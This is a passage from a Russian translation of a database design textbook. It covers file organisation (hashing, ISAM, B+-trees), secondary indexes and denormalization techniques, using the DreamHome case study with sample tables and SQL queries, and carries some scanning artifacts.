Выборка кортежей из таблицы осуществляется по значению поля, отличного от поля перемешивания. Например, если выполнить перемешивание таблицы Staff по полю Sno, то полученный файл нельзя будет использовать для поиска кортежей по значению атрибута LName. В этом случае для доступа к кортежу потребуется провести линейный поиск, либо создать для поля LName вторичный индекс (этап 5.3).
Доступ к кортежам необходимо выполнять только по части поля перемешивания. Например, если перемешать таблицу Property_for_Rent по значениям атрибутов Rooms и Rent, то механизм хеширования нельзя будет использовать для поиска кортежей по значению только атрибута Rooms. В этом случае требуемый кортеж может быть найден только в результате выполнения линейного поиска.
Индексно-последовательные файлы
Структура файлов с индексно-последовательной организацией обсуждается в пятом разделе приложения Б. По сравнению с хешированием, метод ISAM представляет собой более гибкую структуру хранения данных. Он поддерживает выборку данных по точному совпадению значения ключа, по шаблону подстановки, по диапазону значений и по части основного ключа. Однако структура индекса ISAM-файла статична и создается в момент создания самого файла. Поэтому производительность доступа к данным ISAM-файла снижается по мере обновления его данных. Обновления также могут вызывать нарушение последовательности ключей ISAM-файла, поэтому выборка данных в порядке ключа все больше и больше замедляется. Две последние проблемы устраняются при использовании файлов, организованных по принципу двоичного дерева. Однако, в отличие от двоичных деревьев, конкурентный доступ к индексу ISAM-файла легко регулируется, поскольку его индекс статичен.
Двоичные деревья
Структура файлов, организованных в виде двоичного дерева (В+-Тгее), обсуждается в пятом разделе приложения Б. По сравнению с хешированными файлами, двоичные деревья также представляют собой значительно более гибкие структуры хранения данных. Они позволяют выполнять выборку данных по точному совпадению ключевого значения, по шаблону подстановки, по диапазону значений и по частично заданному ключу. Индекс двоичных деревьев является динамическим, увеличивающимся по мере роста файла таблицы. Благодаря этому эффективность доступа в двоичных деревьях не снижается по мере обновления данных таблицы. Файлы структуры В+-Тгее постоянно сохраняют упорядоченность доступа по ключу, даже при обновлении их данных. Поэтому скорость выборки строк в порядке значений ключа здесь выше, чем у ISAM-файлов, и является постоянной. Однако, если информация в таблице не подвергается постоянным изменениям, то использование структуры бинарного дерева может оказаться менее эффективным по сравнению с индекснопоследовательными файлами. Дело в том, что ISAM-файлы имеют на один уровень индекса меньше, чем двоичные деревья, где в листовых узлах содержатся не данные, а лишь указатели на них.
Документирование результатов выбора структуры файлов таблиц
Результаты выбора файловой структуры для всех таблиц должны быть тщательно зафиксированы в документации. В каждом случае следует указать причины сделанного выбора. В частности, обязательно указывайте причины выбора конкретного варианта, если существовал (один или больше) альтернативный вариант.
Этап 5.3. Определение вторичных индексов
Цель Определение того, будет ли добавление вторичных индексов способствовать повышению производительности системы.
Вторичные индексы представляют собой механизм определения в таблицах базы данных дополнительных ключей, которые предназначены для повышения эффективности выборки данных. Например, файл таблицы Property_for_Rent может быть перемешан по атрибуту номера сдаваемого в аренду объекта Рпо, в результате чего будет создан первичный индекс этой таблицы. Однако достаточно часто требуется иметь доступ к данным таблицы и по значению атрибута Rent. Поэтому для атрибута Rent следует создать вторичный индекс. Данная задача может быть решена с помощью следующего SQL-оператора:
CREATE INDEX property-rent-index ON property-for-rent(rent);
Однако поддержка актуальности вторичных индексов создает дополнительную нагрузку, поэтому их использование следует тщательно продумывать, стараясь найти приемлемый компромисс между требованиями общей производительности системы и эффективностью выборки данных. Дополнительная нагрузка создается по следующим причинам.
При вставке в таблицу новой записи необходимо добавление новых записей в каждый ее вторичный индекс.
При обновлении записи основной таблицы требуется обновление информации во вторичных индексах.
Для размещения вторичных индексов требуется дополнительное дисковое пространство.
Возможно некоторое снижение производительности процессов оптимизации запросов, поскольку оптимизатору, для того чтобы найти оптимальное решение, необходимо проанализировать результаты использования всех вторичных индексов.
При определении набора необходимых вторичных индексов предлагаем придерживаться таких рекомендаций.
Создавайте вторичный индекс по первичному ключу таблицы, если он не является ключом физической организации ее файла. Хотя в языке SQL2 предусмотрена специальная фраза определения первичных ключей (см. этап 4.1), тем не менее ее указание еще не служит гарантией создания индекса по первичному ключу.
Избегайте создания индексов для небольших таблиц. Лучше выполнить линейный поиск в этих таблицах (поместив их целиком в оперативную память), чем хранить на диске дополнительную индексную структуру.
Создавайте вторичный индекс для любого атрибута, интенсивно используемого в качестве вторичного ключа. (Например, для таблицы Property_for_Rent целесообразно создать вторичный индекс по атрибуту Rent, как уже упоминалось выше.)
Создавайте вторичный индекс для любого интенсивно используемого внешнего ключа. Например, таблица Property_for_Rent во многих случаях может соединяться с таблицей Owner, для чего используется атрибут Опо, содержащий идентификатор владельца. Поэтому для повышения эффективности этих дей-
ствий в таблице Property_for_Rent рекомендуется создать вторичный индекс по атрибуту Опо.
Избегайте создания вторичных индексов для атрибутов или таблиц, подвергаемых частым обновлениям.
Избегайте создания индексов, предназначенных для повышения эффективности запросов, если в результате выполнения этих запросов возвращается существенная часть всех кортежей таблицы. В подобных случаях линейный поиск по всей таблице может оказаться эффективнее поиска с использованием индекса.
Избегайте индексирования атрибутов, значение которых представляет собой достаточно длинные символьные строки.
При вставке в таблицу с одним или двумя вторичными индексами большого количества новых кортежей целесообразно предварительно удалить имеющиеся индексы, а затем создать их заново, после добавления записей. Для оценки можно руководствоваться следующим правилом: “Если в результате добавления новых данных размер таблицы увеличится на 10% и больше, временно удалите все созданные для нее индексы”.
Документирование результатов планирования создания вторичных индексов
В документацию следует внести сведения обо всех вторичных индексах, которые планируется создать для таблиц базы данных. В каждом случае надо указать причины сделанного выбора. В частности, если по причинам поддержания необходимого уровня производительности системы решено было отказаться от индексирования определенных атрибутов, сведения об этом также должны быть занесены в документацию.
Этап 5.4. Анализ необходимости введения контролируемой избыточности данных
Цель Определение того, будет ли способствовать повышению производительности системы внесение контролируемой избыточности данных, осуществляемое за счет снижения требований к уровню их нормализации.
Нормализация представляет собой процедуру определения того, какие из атрибутов в отношении связаны друг с другом. Одна из основных концепций реляционной теории состоит в том, что объединение атрибутов в отношение основывается на их функциональной взаимозависимости. Результатом проведения нормализации является логический проект, обеспечивающий структурную целостность и минимальную избыточность данных в базе. Однако в некоторых случаях можно услышать возражения, типа того, что полная нормализованность структуры базы данных не позволяет достичь максимальной эффективности обработки информации. Из этого следует, что могут возникнуть обстоятельства, при которых из соображений повышения производительности будет целесообразно отказаться от некоторой доли преимуществ, достигаемых при полной нормализации проекта. Этот вариант следует рассматривать только в том случае, если существующие требования к производительности системы никакими другими способами удовлетворить не удается. Не следует понимать сказанное как рекомендацию отказаться от процедуры нормализации на этапе логического проектирования. Выполнение нормализации позволяет глубже понять назначение и суть каждого представленного в базе данных атрибута. Именно это может оказаться решающим фактором успешного завершения всего проекта. Кроме того, принимая решение о денормализации, следует учитывать следующее:
денормализация существенно усложняет реализацию;
денормализация во многих случаях снижает гибкость системы; „
денормализация ускоряет выборку данных, одновременно замедляя их обновление.
Формально термин денормализация означает внесение в реляционную схему таких усовершенствований, при которых уровень нормализованности обработанных отношений по сравнению с уровнем нормализованности хотя бы одного из исходных отношений уменьшается. Здесь этот термин будет использоваться в несколько более широком понимании — для определения ситуации, когда объединяются два отношения в одно. В результате подобной операции новое отношение может сохранять прежний уровень нормализованности, однако будет содержать больше пустых значений, чем оба исходных отношения. Иногда процедуру денормализации называют оптимизацией использования.
Ссылки на отношения в транзакциях
Практика показывает, что денормализация может быть использована как средство улучшения характеристик системы с недостаточной производительностью только в том случае, если уровень обновления данных в этой системе по сравнению с уровнем выполняемых запросов относительно невысок. В этом случае полезной может оказаться матрица ссылок на отношения в транзакциях. В матрице отмечаются все требуемые транзакции и используемые ими отношения. Пример подобной матрицы представлен в табл. 9.4. Матрица визуально обобщает схемы выполнения всех транзакций, которые должны поддерживаться системой. С ее помощью определяются отношения, являющиеся кандидатами на денормализацию, а также оценивается тот эффект, который выполнение денормализации произведет на оставшуюся часть модели данных. Чтобы повысить ценность матрицы, для транзакций следует указывать количество обращений к каждому отношению, осуществляемое за установленный интервал времени (за час, за день, за неделю). Однако в нашем примере мы не показали этой информации — из соображений упрощения вида матрицы.
Таблица 9.4. Матрица ссылок на отношения в транзакциях
Транзакция/ отношение
Корректировка сведений об объектах
Список объектов в каждом из отделений
Список посещений объектов с комментариями
I R U D
I R U D
I R U D
Branch
X
X
X
Staff
X
Proper ty_f or__Ren t
X X X X
X
X
Owner
X X X X
X
Viewing
X X X X
X
Renter
XXX
X
В этом разделе мы рассмотрим следующие этапы денормализации.
Этап 5.4.1. Анализ целесообразности использования производных данных.
Этап 5.4.2. Анализ целесообразности дублирования атрибутов или объединения отношений.
В качестве примера будем использовать материал учебного проекта DreamHome, представленного в табл. 3.3 - 3.8.
Этап 5.4.1. Анализ целесообразности использования производных данных
Атрибуты, значения которых определяются на основании значений других атрибутов, называются производными (или вычисляемыми). Ниже приведено несколько примеров производных атрибутов.
Количество работников в определенном отделении компании.
Общая сумма месячной заработной платы всего персонала компании.
Количество сдаваемых в аренду объектов, за которые отвечает конкретный работник.
Чаще всего производные атрибуты отсутствуют в логической модели данных, но описываются в словаре системы. Если производный атрибут представлен в логической модели, овал его значка образуется пунктирной линией, указывающей на то, что данный атрибут является производным (см. раздел 5.1.2). Поэтому, прежде всего, следует проанализировать логическую модель и словарь данных и подготовить список всех производных атрибутов.
С точки зрения процедуры физического проектирования базы данных любой производный атрибут либо может сохраняться в базе данных, либо при каждом обращении к нему его значение будет вычисляться заново. Проектировщик должен оценить:
дополнительную стоимость хранения производных данных и поддержки их согласованности с текущими значениями тех данных, на основании которых они вычисляются;
издержки на выполнение вычисления значений производных атрибутов при каждом обращении к ним.
Выбирается тот вариант, потери при котором будут минимальны с точки зрения требований к производительности системы. Если говорить о приведенном выше примере, то целесообразно было бы поместить в отношение Staff дополнительный атрибут, содержащий сведения о количестве сдаваемых в аренду объектов, за которые работник отвечает в данный момент. Фрагмент отношения Staff с новым производным атрибутом приведен в табл. 9.5, а в табл. 9.6 показан фрагмент отношения Prop- erty_for_Rent, на основании которого вычисляется значение нового атрибута.
Таблица 9.5. Фрагмент отношения Staff
Sno
FName
LName
Address
NIN
Bno
No_of_ Properties
SL21
John
White
19 Taylor St, Cranford, London
WK442011B
B5
0
SG37
Ann
Beech
81 George St, Glasgow PA1 2JR
WL432514C
B3
2
SG14
David
Ford
63 Ashby St, Partick, Glasgow G11
WL220658D
B3
2
SA9
Mary
Howe
2 Elm PI, Aberdeen AB2 3SU
WM532187D
B7
1
SG5
Susan
Brand
5 Gt Western Rd Glasgow G12
WK588932E
B3
0
SL41
Julie
Lee
28 Malvern St, Kilburn NW2
WA290573K
B5
1
Таблица 9.6. Фрагмент отношения Property_for_Rent
PnoSreet Area City Pcode Type Rooms Rent Ono
Sno
Bno
PA14
16 Holhead
Dee
Aberdeen
AB7 5SU
House
6
650
CO46
SA9
B7
PL94
6 Argyll St
Kilburn
London
NW2
Flat
4
400
CO87
SL41
B5
PG4
6 Lawrence
Partick
Glasg ow
G11
9QX
Flat
3
350
CO40
SG14
B3
St
Окончание табл. 9.6
Pno
Sreet
Area
City
Pcode
Type
Rooms
Rent
Ono
Sno
Bno
PG36
2 Manor Rd
Glasgow
G32
4QX
Flat
3
375
CO93
SG37
B3
PG21
18 Dale Rd
Hynd- land
Glasgow
G12
House
5
600
CO87
SG37
B3
PG16
5 Novar Dr
Hynd- land
Glasgow
G12
9AX
Sat
4
450
CO93
SG14
B3
Дополнительный расход дисковой памяти для размещения значений этого атрибута незначителен. Обновление значения атрибута будет выполняться всякий раз, когда какой-либо сотрудник компании будет назначаться ответственным за сдаваемый в аренду объект или освобождаться от этой ответственности, а также когда некоторый объект будет удаляться из списка обслуживаемых компанией. В каждом случае значение атрибута No_of_Properties, соответствующего тому или иному работнику, будет увеличиваться или уменьшаться на единицу.
Может потребоваться получить дополнительные гарантии того, что указанных обновлений будет достаточно для поддержания корректных значений счетчиков, а значит, и для поддержания целостности данных в базе. Если запрос обращается к данному атрибуту, требуемое значение становится ему доступным немедленно, без выполнения каких-либо вычислений. В то же время, если этот атрибут не будет помещен в отношение Staff, придется вычислять его значение каждый раз, когда он потребуется запросу. Для вычисления необходимо выполнить соединение отношений Staff и Property_for Rent. Поэтому, если подобные запросы будут выполняться достаточно часто или время выполнения этих запросов будет строго лимитированным, может оказаться более удобным хранить значение производного атрибута в базе данных, а не вычислять всякий раз его значение.
Кроме того, хранение производных атрибутов в базе может быть оправданным в том случае, если язык запросов целевой СУБД не позволяет реализовать алгоритм их вычисления. Например, язык SQL поддерживает лишь ограниченный набор обобщающих функций и не позволяет организовывать рекурсивных запросов. (Речь о языке SQL пойдет в главе 13, “Язык SQL”.)
Этап 5.4.2. Анализ целесообразности дублирования атрибутов или объединения отношений
На следующем этапе проводится анализ целесообразности дублирования определенных атрибутов или объединения отдельных отношений. Цель этих действий — уменьшить количество соединений отношений, необходимых для выполнения запросов. Неявно, мы уже сталкивались с примером скрытой денормализации отношений при обсуждении адресных атрибутов. Например, рассмотрим следующее определение отношения Branch:
Branch (Bno, Street, Area, City, Pcode, Teljlo, Fax_No)
Строго говоря, это отношение не находится в третьей нормальной форме: атрибут Pcode, содержащий почтовый код или индекс, функционально определяет атрибуты Area (Регион) и City (Город). Следовательно, для нормализации этого отношения требуется разделить его на два отношения таким образом:
Branch (Bno, Street, Tel_No, Fax_No)
Post_Code (Pcode, Area, City)
Однако обращение к отношению Branch с целью получения адреса, но без выборки атрибутов региона и города возможно в очень редких случаях. Поэтому выполнять соединение отношений Branch и Post_Code в данной ситуации понадобится практически при каждом обращении к отношению Branch, требующем выборки адреса, В результате было принято решение сохранить отношение Branch во второй нормальной форме и вернуться к его исходному определению.
Как ни жаль, но четких правил определения, когда именно следует прибегать к денормализации отношений, не существует. Ниже мы обсудим самые типичные ситуации, в которых следует обдумать возможность денормализации модели. (Заинтересованный читатель может почерпнуть дополнительную информацию в публикациях Рогерса (Rogers), а также Флеминга (Fleming) и Фон Холла (Von Hall) за 1989 год.) В частности, мы рассмотрим денормализацию отношений в перечисленных ниже ситуациях, имея основной целью ускорение выполнения часто выполняемых или критических запросов.
Объединение членов связей типа “один к одному’* (1:1).
Дублирование неключевых атрибутов в связях типа “один ко многим” (1:М) с целью сокращения числа выполняемых соединений отношений.
Использование справочных таблиц
Дублирование атрибутов внешних ключей в связях типа “один ко многим” (1:М) с целью сокращения числа выполняемых соединений отношений.
Дублирование атрибутов связей типа “многие ко многим” (M:N) с целью сокращения числа выполняемых соединений отношений.
Введение повторяющихся групп атрибутов.
Создание сводных таблиц.
Объединение членов связей типа “один к одному" (1:1). Еще раз проанализируйте все существующие связи типа “один к одному” (1:1) и попробуйте оценить эффект от объединения связанных с их помощью отношений в единое отношение. Объединять имеет смысл только такие пары отношений, которые часто используются совместно и значительно реже — по отдельности. Например, рассмотрим связь типа 1:1 между отношениями Renter и Interview. В отношении Renter (табл. 9.7) содержатся сведения о лицах, арендующих в компании некоторые объекты, или же о потенциально возможных арендаторах собственности, предлагаемой компанией в аренду. В отношении Interview (табл. 9.8) содержатся дата собеседования работника компании с клиентом и комментарии, сделанные работником компании по этому поводу.
Таблица 9.7. Фрагмент отношения Renter
Rno
FName
LName
PrefType
Max_Rent
Bno
CR76
John
Kay
Flat
425
В5
CR56
Aline
Stewart
Flat
350
ВЗ
CR74
Mike
Ritchie
House
750
ВЗ
CR62
Mary
Tregear
Flat
600
В7
Таблица 9.8. Фрагмент отношения Interview
Rno
Sno
Date
Comment
CR62
SA9
14-May-98
Needs property urgently (Срочно нуждается в жилье)
CR56
SG37
28-Apr-98
Current lease ends in June (Текущий договор истекает в июне)
Связь между отношениями Renter и Interview имеет тип 1:1, причем участие обеих сторон в этой связи частичное. Поскольку участие сторон частичное, в объединенном отношении может присутствовать множество пустых значений, количество которых зависит от пропорции кортежей, участвующих в связи, как показано в табл. 9.9. Если отношение Renter достаточно велико, а количество кортежей, участвующих в отношении, мало, то объединенное отношение преимущественно будет не заполнено.
Таблица 9.9. Фрагмент объединенного отношения Renter
Rno
FName
LName
Prefjype
Max_Rent
Bno
Sno
Date
Comment
CR76
John
Kay
Hat
425
B5
NULL
NULL
NULL
CR56
Aline
Stewart
Flat
350DD
B3
SG37
28-Apr-98
Current lease ends in June
CR74
Mike
Ritchie
House
750
B3
NULL
NULL
NULL
CR62
Mary
Tregear
Flat
600
B7
SA9
14-May-98
Needs property urgently
Дублирование неключевых атрибутов в связях типа “один ко многим” (1:М) с целью сокращения числа выполняемых соединений отношений. Поставив своей целью возможное сокращение или полное устранение необходимости выполнять соединения отношений при обработке часто выполняемых или критических запросов, проанализируйте преимущества, которые могут быть получены от дублирования одного или нескольких неключевых атрибутов родительского отношения в дочернем отношении для всех связей типа 1:М. Например, при обращении к отношению Ргор- erty_for_Rent очень часто одновременно выполняется выборка фамилий владельцев сдаваемых в аренду объектов. Допустим, содержимое отношений Property_for_Rent и Owner имеет вид, представленный в табл. 9.10 и 9.11 соответственно. В этом случае типичный SQL-запрос будет иметь следующий вид:
SELECT р.*, o.lname
FROM property_for_rent pf owner о
WHERE p.ono = o.ono AND bno = ' B3';
Таблица 9.10. Фрагмент отношения Property_for_Rent
Pno
Sreet
Area
City
Pcode
Type
Rooms
Rent
Ono
Sno
Bno
PA14
16
Holhead
Dee
Aberdee n
AB7 5SU
House
6
650
CO46
SA9
B7
PL94
6 Argyll St
Kilburn
London
NW2
Flat
4
400
CO87
SL41
B5
PG4
6 Lawrence St
Partick
Glasgow
G11 9QX
Flat
3
350
CO40
SG14
B3
PG36
2 Manor Rd
Glasgow
G32 4QX
Flat
3
375
CO93
SG37
B3
PG21
18 Dale Rd
Hyndla nd
Glasgow
G12
House
5
600
CO87
SG37
B3
PG16
5 Novar Dr
Hyndla nd
Glasgow
G12 9AX
Flat
4
450
CO93
SG14
B3
Таблица 9.11. Фрагмент отношения Owner
Опо
FName
LName
Address
Tel.No
СО46
Joe
Keogh
2 Fergus Dr, Banchory, Aberdeen AB2 &SX
01224-861212
СО87
Carol
Farrel
6 Achray St, Glasgow G32 9DX
0141-357-7419
СО40
Tina
Murphy
63 Well St, Shawlands, Glasgow G42
0141-943-1728
СО93
Tony
Shaw
12 Park PI, Hillhead, Glasgow G4 OQR
0141-225-7025
Если поместить
в отношение
Property_for_Rent дубликат атрибута LName (табл. 9.12),
то обращение к отношению Owner из приведенного выше запроса можно будет удалить.
SELECT р.*
FROM property for_rent p WHERE bno = 'B3';
Таблица 9.12. Фрагмент расширенного отношения Property_for_Rent
Pno
Sreet
Area
City
Pcode
Type
Rooms
Rent
Ono
LName
Sno
Bno
РА14
16
Holhead
Dee
Aber
deen
AB7
5SU
House
6
650
CO46
Keogh
SA9
B7
PL94
6 Argyll St
Kilburn
London
NW2
Flat
4
400
CO87
Farrel
SL41
B5
PG4
6 Lawrence St
Partic k
Glasgow
G11
9QX
Flat
3
350
CO40
Murphy
SG14
B3
PG36
2 Manor Rd
Glasgow
G32
4QX
Flat
3
375
CO93
Shaw
SG37
B3
PG21
18 Dale Rd
Hynd- land
Glasgow
G12
House
5
600
CO87
Farrel
SG37
B3
PG16
5 Novar Dr
Hynd- land
Glasgow
G12
9AX
Flat
4
450
CO93
Shaw
SG14
B3
Следует сравнить выигрыш, достигаемый от этого изменения, с теми осложнениями, которые могут возникнуть в их результате. Например, если продублированные данные будут изменены в родительском отношении, то они одновременно должны быть изменены и в дочернем отношении. Более того, поскольку связь имеет тип 1:М, в дочернем отношении возможно наличие нескольких строк с одним и тем же значением (так, в приведенном примере фамилии Farrel и Shaw встречаются в расширенном отношении Property_for_Rent по два раза каждая). Таким образом, потребуется поддерживать согласованность сразу нескольких копий атрибута. Если процедуру обновления атрибута LName в отношении Property_for_Rent не удастся автоматизировать, то появится потенциальная возможность потери целостности данных в базе. Еще одна проблема, связанная с дублированием атрибутов, заключается в дополнительном времени, затрачиваемом на выполнение процедур автоматической поддержки согласованности данных при каждой вставке, обновлении или удалении строки в родительском отношении. В нашем случае изменение фамилии владельца сдаваемого в аренду объекта происходит редко, поэтому предлагаемое дублирование атрибута может быть оправданным.
Еще одна возможная проблема состоит в увеличении объема дисковой памяти, необходимой для сохранения расширенного отношения. Однако в связи с относительно невысокой стоимостью и большой емкостью современных дисковых устройств данная проблема уже утратила свою актуальность. Тем не менее последнее замечание ни в коей мере не является дополнительным аргументом в пользу дублирования атрибутов.
Использование справочных таблиц. Справочные таблицы, иногда называемые ссылочными таблицами (или списками значений), являются особым случаем связей типа 1:М. Как правило, в типичной справочной таблице содержатся атрибуты кода или шифра и описания. Например, можно создать справочную (родительскую) таблицу для типов объектов, сдаваемых в аренду (табл. 9.13), после чего модифицировать отношение Propety_for_Rent так, как показано в табл. 9.14.
Таблица 9.13. Справочная таблица Property Type
Туре
Description
1
2
House (дом)
Flat (квартира)
Таблица 9.14. Фрагмент модифицированного отношения Propety_for_Rent
Pno
Sreet
Area
City
Pcode
Type
Rooms
Rent
Ono
Sno
Bno
РА14
16
Holhead
Dee
Aberdeen
AB7
5SU
1
6
650
CO46
SA9
B7
PL94
6 Argyll St
Kilburn
London
NW2
2
4
400
CO87
SL41
B5
PG4
6 Lawrence St
Partick
Glasgow
G11
9QX
2
3
350
CO40
SG14
B3
PG36
2 Manor Rd
Glasgow
G32
4QX
2
3
375
CO93
SG37
B3
PG21
18 Dale
Rd
Hyndlan d
Glasgow
G12
1
5
600
CO87
SG37
B3
PG16
5 Novar Dr
Hyndlan d
Glasgow
G12
9AX
2
4
450
CO93
SG14
B3
Использование справочных таблиц дает следующие преимущества.
Уменьшение размеров дочернего отношения: код типа занимает один байт, тогда как для полного описания требуется пять байтов.
Если описание может изменяться (это не относится к нашему примеру), то значительно проще изменить одно значение в справочной таблице, чем корректировать множество строк в дочернем отношении.
Справочная таблица может использоваться для контроля значений, вводимых пользователем.
Если справочная таблица должна использоваться в часто выполняемых или критических запросах и описания в ее строках не могут изменяться или меняются крайне редко, имеет смысл проанализировать возможности дублирования атрибута с описанием из справочной таблицы в соответствующее дочернее отношение (табл. 9.15). В этом случае исходную справочную таблицу не следует рассматривать как избыточную — она по-прежнему может и должна использоваться для проверки
вводимых пользователями значений. Однако дублирование описаний в дочернее отношение исключает необходимость дополнительного соединения его с родительской справочной таблицей при выполнении запросов.
Таблица 9.15. Фрагмент расширенного отношения Property_for_Rent
Рпо
Sreet
Area
City
Pcode
Тдое
Description
Rooms
Rent
Ono
Sno
Bno
РА14
16 Holhead
Dee
Aberde en
AB7
5SU
1
House
6
650
CO46
SA9
B7
PL94
6 Argyll St
Kilburn
London
NW2
2
Flat
4
400
CO87
SL41
B5
PG4
6 Lawren ce St
Partick
Glasgo w
G11
9QX
2
Flat
3
350
CO40
SG14
B3
PG36
2 Manor Rd
Glasgo w
G32
4QX
2
Flat
3
375
CO93
8G37
B3
PG21
18 Dale Rd
Hynd- land
Glasgo w
G12
1
House
5
600
CO87
8G37
B3
PG16
5 Novar Dr
Hynd- land
Glasgo w
G12
9AX
2
Flat
4
450
CO93
SG14
B3
Дублирование атрибутов внешних ключей в связях типа “один ко многим” (1:М) с целью сокращения числа выполняемых соединений отношений. И вновь, поставив своей целью возможное сокращение или полное устранение необходимости выполнять соединения отношений при обработке часто выполняемых или критических запросов, проанализируйте преимущества, которые могут быть получены от дублирования одного или нескольких атрибутов внешних ключей связей типа 1:М. Например, в компании DreamHome составление списка всех владельцев сдаваемых в аренду объектов в разрезе отделений компании является достаточно часто выполняемым запросом. Для этой цели используется SQL-оператор следующего вида:
SELECT o.lname
FROM property_for_rent p, owner о
WHERE p.ono = o.ono AND p.bno = 'B3';
Пример содержимого отношений Property_for_Rent и Owner показан в табл, 9.10 и 9.11. Другими словами, для получения списка владельцев используются строки отношения Property_for_Rent, содержащие требуемый номер отделения компании (см. также табл. 9.15). Можно устранить необходимость в соединении этих отношений, если поместить дубль внешнего ключа Впо в отношение Owner. В результате будет создана прямая связь между отношениями Branch и Owner, а используемый SQL-оператор можно будет упростить:
SELECT o.lname
FROM owner о
WHERE bno = 'B3';
Содержимое модифицированного отношения Owner представлено в табл. 9.16. После внесения указанных изменений потребуется установить ограничения ссылочной целостности для нового внешнего ключа — как описывалось при обсуждении этапа 2.3.
Таблица 9.16. Фрагмент отношения Owner с добавленным внешним ключом
Ono
FName
LName
Address
TeLNo
Bno
СО46
Joe
Keogh
2 Fergus Dr, Banchory, Aberdeen AB2 &SX
01224-861212
B7
СО87
Carol
Parrel
6 Achray St, Glasgow G32 9DX
0141-357-7419
B5
СО40
Tina
Murphy
63 Well St, Shawtands, Glasgow G42
0141-943-1728
B3
СО93
Tony
Shaw
12 Park PI, Hillhead, Glasgow G4 OQR
0141-225-7025
B3
Если владелец имеет право сдавать свою собственность в аренду сразу в нескольких отделениях компании, то предложенное выше изменение не будет работать. В подобном случае между отношениями Branch и Owner будет существовать связь типа “многие ко многим” (M:N). Напомним также, что единственной причиной, по которой атрибут Впо был помещен в отношение Property_for_Rent является тот факт, что возможно существование сдаваемых в аренду объектов, за которые в данный момент не отвечает ни один из работников компании. В частности, это имеет место в тот момент, когда данный объект впервые принимается компанией на обслуживание. Если в отношении Property_for_Rent отсутствовал бы атрибут номера отделения, то для получения этого номера потребовалось бы соединять отношение Property for_Rent с отношением Staff по ключу Sno. Используемый при этом SQL-оператор имел бы следующий вид:
SELECT o.lname
FROM staff s, property_for_rent p, owner о
WHERE s.sno = p.sno AND p.ono = o.ono AND s.bno = 'ВЗ7;
Удаление из запроса сразу двух соединений может служить серьезным аргументом в пользу дублирования внешнего ключа в отношение Owner.
Дублирование атрибутов связей типа “многие ко многим” (M:N) с целью сокращения числа выполняемых соединений отношений* В процессе создания логической модели базы данных мы преобразовали каждую связь типа M:N в две связи типа 1:М. Подобное преобразование требует введения третьего, промежуточного отношения. Теперь, чтобы получить данные через связь типа M:N, необходимо выполнить соединение трех отношений — двух исходных и еще одного, вновь добавленного промежуточного отношения. В некоторых случаях может потребоваться сократить количество выполняемых соединений отношений за счет дублирования атрибутов одного из исходных отношений в промежуточное отношение.
Например, связь типа M:N между отношениями Property_for_Rent (табл. 9.17) и Renter (табл. 9.18) была преобразована с помощью введения промежуточного отношения Viewing (табл. 9.19). Предположим, что персоналу компании DreamHome необходимо устанавливать контакт с теми клиентами, которые уже осмотрели некоторые сдаваемые в аренду объекты, но еще не сообщили своего мнения о результатах осмотра. При разговоре с клиентом работнику компании потребуется указать только улицу, на которой находится осмотренный объект. Соответствующий SQL-запрос выглядит следующим образом:
SELECT р.street, г.*, v.date
FROM renter г, viewing v, property_for_rent p
WHERE v.pno = p.pno AND r.rno = v.rno AND comment IS NULL;
Рпо
Sreet
Area
CityPcode
Type Rooms Rent
Ono
Sno
Bno
РА14
16 Holhead
Dee
Aberdeen AB7
5SU
Hous 6 e
650
CO46
SA9
B7
PL94
6 Argyll St
Kilburn
LondonNW2
Flat 4
400
CO87
SL41
B5
PG4
6 Lawrence St
Partick
Glasgow G11
9QX
Flat 3
350
CO40
SG14
B3
PG36
2 Manor Rd
Glasgow G32 4QX
Flat 3
375
CO93
SG37
B3
PG21
18 Dale Rd
Hyndland
Glasgow G12
Hous 5 e
600
CO87
SG37
B3
PG16
5 Novar Dr
Hyndland
Glasgow G12 9AX
Flat 4
450
CO93
SG14
B3
Таблица 9.18. Фрагмент отношения Renter
Rno
FName
LName
Address
Tel.No
Prefjype
Max_Rent
Bno
CR76
John
Kay
56 Hight St, Putney, London SW1 4EH
0171
774-5632
Rat
425
B5
CR56
Aline
Stewart
64 Fern Dr, Pollock, Glasgow G42 OBL
0141848-1825
Flat
350
B3
CR74
Mike
Ritchie
18 Tain St, Gourock
PA1G 1YQ
01475
392178
House
750
B3
CR62
Mary
Tregear
5 Tarbot Rd, Kildary, Aberdeen AB9 3ST
01224
196720
Flat
600
B7
Таблица 9.19. Отношение Viewing
Rno
Pno
Date
Comment
CR56
PA14
24-May-98
Too small (Слишком мала)
CR76
PG4
20-Apr-98
Too remote (Слишком далеко)
CR56
PG4
26-May-98
CR62
PA14
14-May-98
No Dining room (Нет отдельной столовой)
CR56
PG36
28-Apr-98
Если поместить дубль атрибута Street в промежуточное отношение Viewing, то из запроса можно будет исключить отношение Property_for_Rent, в результате чего SQL- оператор приобретет такой вид:
SELECT г.*, v.street, v.date
FROM renter r, viewing v
WHERE r.rno = v.rno AND comment IS NULL;
Содержимое обновленного отношения Viewing показано в табл. 9.20
Таблица 9.20. Расширенный вариант отношения Viewing
Rno
Рпо
Street
Date
Comment
CR56
РА14
16 Hothead
24-May-98
Too small
CR76
PG4
163 Main St
20-Apr-98
Too remote
CR56
PG4
163 Main St
26-May-98
CR62
РА14
16 Holhead
14-May-98
No Dining room
CR56
PG36
2 Manor Rd
28-Apr-98
Введение повторяющихся групп атрибутов. Повторяющиеся группы атрибутов были удалены из логической модели данных при приведении всех сущностей к представлению в первой нормальной форме. Повторяющиеся группы были выделены в отдельные отношения, образующие с исходном (родительским) отношением связь типа 1:М. Тем не менее повторное введение в отношения групп повторяющихся атрибутов является эффективным способом повышения производительности системы. Например, каждое отделение компании DreamHome может иметь несколько служебных автомобилей, используемых персоналом для посещения сдаваемых в аренду объектов. Служебные автомобили есть не во всех отделениях, а в тех, где они имеются, общее их число не может превышать четырех. Будем полагать, что при логическом проектировании данные об автомобилях были выделены в отдельное дочернее отношение, Branch_Cars, первичным ключом которого является атрибут регистрационного номера автомобиля, Registration-No, а внешним ключом — атрибут номера отделения компании, Впо (табл. 9.21).
Таблица 9.21. Отношение Branch_Cars
Bno
RegistrationNo
B5
M109 ABG
B5
M670 BFT
B5
N64 SAB
B7
M536 XRT
B7
N90 BDC
Если при выполнении часто вызываемых и критических запросов необходим доступ к этой информации, то может оказаться целесообразным объединить это отношение с отношением Branch, исходный вид которого показан в табл. 9.22. Содержимое объединенного отношения, в котором для каждого из автомобилей создан отдельный столбец, представлено в табл. 9.23.
Таблица 9.22. Фрагмент исходного отношения Branch
Bno
Street
Area
City
Pcode
TeLNo
Fax_No
B5
